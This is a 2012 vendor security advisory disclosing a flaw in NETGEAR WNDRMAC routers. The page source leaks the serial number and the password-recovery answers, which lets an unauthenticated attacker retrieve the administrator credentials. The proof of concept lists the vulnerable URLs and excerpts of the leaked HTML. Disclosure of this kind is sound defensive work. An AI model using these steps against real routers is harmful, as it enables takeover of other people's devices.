Sense of Security – Security Advisory – SOS-12-005
Release Date. | 13-May-2012 |
Last Update. | – |
Vendor Notification Date. | 06-Mar-2012 |
Product. | NETGEAR WNDRMAC |
Platform. | Hardware |
Affected versions. | 1.0.0.22 and below |
Severity Rating. | High |
Impact. | Exposure of sensitive information |
Attack Vector. | From remote without authentication |
Solution Status. | Currently no software update; the vulnerable functionality can be disabled |
CVE reference. | CVE- Not yet assigned |
Details.
The NETGEAR Wireless Extreme for Mac computer and PCs (WNDRMAC) is a N600 wireless dual-band gigabit router. The router discloses sensitive information in the page source, if a previous password recovery has b been successfully completed, which allows an attacker to login to the device.
Proof of Concept.
Viewing the source code of the page you are presented with when you fail to login successfully with the administrator account exposes the routers serial number which is required to get to the recovery questions section.
http://x.x.x.x/unauth.cgi
<HTML><HEAD><LINK rel=”stylesheet” href=”/style/form.css”>
<TITLE> 401 Authorization</TITLE>
<META http-equiv=content-type content=’text/html; charset=UTF-8′>
<script>
function loadvalue()
{
var enable_recovery=”1″;
var enter_sn_again=”0″;
var last_error_sn=”2T82195D0093D”;
if( enable_recovery == “1” )
Viewing the source code of the recovery questions page allows an attacker to view the answers to the password recovery questions.
After submitting these answers you are presented with the current administrator credentials.
http://x.x.x.x/securityquestions.cgi
<HTML><HEAD>
<TITLE> Router Password Recovery</TITLE>
<META http-equiv=content-type content=’text/html; charset=UTF-8′>
<LINK rel=”stylesheet” href=”/style/form.css”>
<script>
var quest1_1=”What was the name of the first NETGEAR product you
purchased?”;
var quest1_2=”What was the name of the first school you attended?”;
function loadvalue()
{
var answer_again=”1″;
var last_error_ans1=”Answer one”;
var last_error_ans2=”Answer two”;
Solution.
Disable the password recovery option.
Discovered by.
Nathaniel Carew from Sense of Security Labs.